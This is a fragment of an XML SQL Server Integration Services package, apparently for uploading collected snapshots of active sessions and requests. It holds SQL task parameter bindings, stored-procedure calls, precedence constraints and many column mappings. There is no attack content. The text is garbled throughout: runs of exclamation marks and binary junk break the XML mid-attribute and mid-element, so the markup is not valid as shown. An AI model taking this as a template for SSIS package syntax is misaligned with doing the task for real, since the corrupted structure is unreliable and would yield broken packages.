?, ?, ?, ?, ?)}"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::CollectionSetUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::CollectorTypeUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:Parameter	!!!!!!!!!!!!!!!!!!!!!!!!`Z?}[amHvName="4" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="5" SQLTask:DtsVariableName="User::SnapshotId" SQLTask:ParameterDirection="Output" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="System::MachineName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::InstanceName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Get SourceId" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{AAE49284-A0BD-4629-80BE-DC3A67047B4B}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Get SourceId" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{6F8B3DEC-B78D-4784-B3DB-455D7A51DA93}" SQLTask:SqlStatementSource="{ call [core].[sp_update_data_source] (?, ?, ?, ?, ?) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::CollectionSetUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="System::MachineName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::InstanceName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::DaysUntilExpiration" SQLTask:ParameterDirection="Input" SQLTask:DataType="2" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="User::SourceId" SQLTask:ParameterDirection="Output" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:DTSID="{FC5E7799-EF9B-4652-8AB2-49F2755E2CE4}" DTS:From="Package\SEQ - Rename Collection Cache File" DTS:LogicalAnd="True" DTS:ObjectName="Constraint" DTS:To="Package\CWM - Remove Upload Snapshots Older Than CacheWindow"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 12]" DTS:CreationName="" DTS:DTSID="{DD28D99F-645B-4DAC-83E0-8F143E5F2BFB}" DTS:From="Package\FAT - Check Cache File Exists" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 12" DTS:To="Package\SEQ - Rename Collection Cache File"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 3]" DTS:CreationName="" DTS:DTSID="{5975893F-5767-46D9-960E-C8CACC85D96F}" DTS:From="Package\SQL - Get SourceId" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 3" DTS:To="Package\SQL - Get SnapshotId"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 6]" DTS:CreationName="" DTS:DTSID="{085213EE-5C41-45B6-9560-3FE9ACFCDF0E}" DTS:From="Package\SQL - Get SnapshotId" D	!!!!!!!!!!!!!!!!!!!!!!!!``8F[HvOleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><inputs><input refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input]" errorOrTruncationOperation="Insert" errorRowDisposition="FailComponent" hasSideEffects="true" name="OLE DB Destination Input"><inputColumns><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[sql_handle]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[sql_handle]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[statement_start_offset]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[statement_start_offset]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[statement_end_offset]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[statement_end_offset]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[plan_handle]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[plan_handle]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColum	!!!!!!!!!!!!!!!!!!!!!!!!`a8N-Hvns[collection_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[collection_time]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[row_id]" cachedDataType="i4" cachedName="row_id" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[row_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[row_id]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[session_id]" cachedDataType="i2" cachedName="session_id" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_id]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[request_id]" cachedDataType="i4" cachedName="request_id" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_id]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[exec_context_id]" cachedDataType="i4" cachedName="exec_context_id" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[exec_context_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[exec_context_id]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[blocking_session_id]" cachedDataType="i2" cachedName="blocking_session_id" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[blocking_session_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[blocking_session_id]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[is_blocking]" cachedDataType="bool" cachedName="is_blocking" externalMetadataColumnId="Package\FEF	!!!!!!!!!!!!!!!!!!!!!!!!`b8ڙHv - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[is_blocking]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[is_blocking]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[blocking_exec_context_id]" cachedDataType="i4" cachedName="blocking_exec_context_id" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[blocking_exec_context_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[blocking_exec_context_id]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[scheduler_id]" cachedDataType="i4" cachedName="scheduler_id" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[scheduler_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[scheduler_id]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[database_name]" cachedDataType="wstr" cachedLength="128" cachedName="database_name" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[database_name]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[database_name]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[user_id]" cachedDataType="i4" cachedName="user_id" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[user_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[user_id]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[task_state]" cachedDataType="wstr" cachedLength="10" cachedName="task_state" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[task_state]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[task_state]"/><inputColumn refId="Package\FEF - For each collected cache file try	!!!!!!!!!!!!!!!!!!!!!!!!`c8Hv upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[request_status]" cachedDataType="wstr" cachedLength="15" cachedName="request_status" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_status]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_status]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[session_status]" cachedDataType="wstr" cachedLength="15" cachedName="session_status" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_status]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_status]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[executing_managed_code]" cachedDataType="bool" cachedName="executing_managed_code" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[executing_managed_code]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[executing_managed_code]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[login_time]" cachedDataType="dbTimeStamp" cachedName="login_time" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[login_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[login_time]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[is_user_process]" cachedDataType="bool" cachedName="is_user_process" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[is_user_process]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[is_user_process]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[host_name]" cachedDataType="wstr" cachedLength="20" cachedName="host_name" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE	!!!!!!!!!!!!!!!!!!!!!!!!`d8U~:Hv DB Destination Input].ExternalColumns[host_name]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[host_name]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[program_name]" cachedDataType="wstr" cachedLength="50" cachedName="program_name" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[program_name]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[program_name]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[login_name]" cachedDataType="wstr" cachedLength="30" cachedName="login_name" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[login_name]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[login_name]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[wait_type]" cachedDataType="wstr" cachedLength="45" cachedName="wait_type" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[wait_type]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[wait_type]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[last_wait_type]" cachedDataType="wstr" cachedLength="45" cachedName="last_wait_type" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[last_wait_type]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[last_wait_type]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[wait_duration_ms]" cachedDataType="i8" cachedName="wait_duration_ms" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[wait_duration_ms]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[wait_duration_ms]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input	!!!!!!!!!!!!!!!!!!!!!!!!`e8 Vu9Hv].Columns[wait_resource]" cachedDataType="wstr" cachedLength="50" cachedName="wait_resource" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[wait_resource]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[wait_resource]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[resource_description]" cachedDataType="wstr" cachedLength="140" cachedName="resource_description" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[resource_description]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[resource_description]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[transaction_id]" cachedDataType="i8" cachedName="transaction_id" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[transaction_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[transaction_id]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[open_transaction_count]" cachedDataType="i4" cachedName="open_transaction_count" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[open_transaction_count]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[open_transaction_count]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[transaction_isolation_level]" cachedDataType="i2" cachedName="transaction_isolation_level" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[transaction_isolation_level]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[transaction_isolation_level]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[request_cpu_time]" cachedDataType="i4" cachedName="request_cpu_time" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_cpu_time]" lineageId="	!!!!!!!!!!!!!!!!!!!!!!!!`f8$FHvPackage\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_cpu_time]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[request_logical_reads]" cachedDataType="i8" cachedName="request_logical_reads" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_logical_reads]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_logical_reads]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[request_reads]" cachedDataType="i8" cachedName="request_reads" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_reads]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_reads]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[request_writes]" cachedDataType="i8" cachedName="request_writes" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_writes]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_writes]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[request_total_elapsed_time]" cachedDataType="i4" cachedName="request_total_elapsed_time" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_total_elapsed_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_total_elapsed_time]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[request_start_time]" cachedDataType="dbTimeStamp" cachedName="request_start_time" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_start_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_start_time]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].	!!!!!!!!!!!!!!!!!!!!!!!!`g8~'HvColumns[memory_usage]" cachedDataType="i4" cachedName="memory_usage" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[memory_usage]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[memory_usage]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[session_cpu_time]" cachedDataType="i4" cachedName="session_cpu_time" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_cpu_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_cpu_time]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[session_reads]" cachedDataType="i8" cachedName="session_reads" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_reads]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source 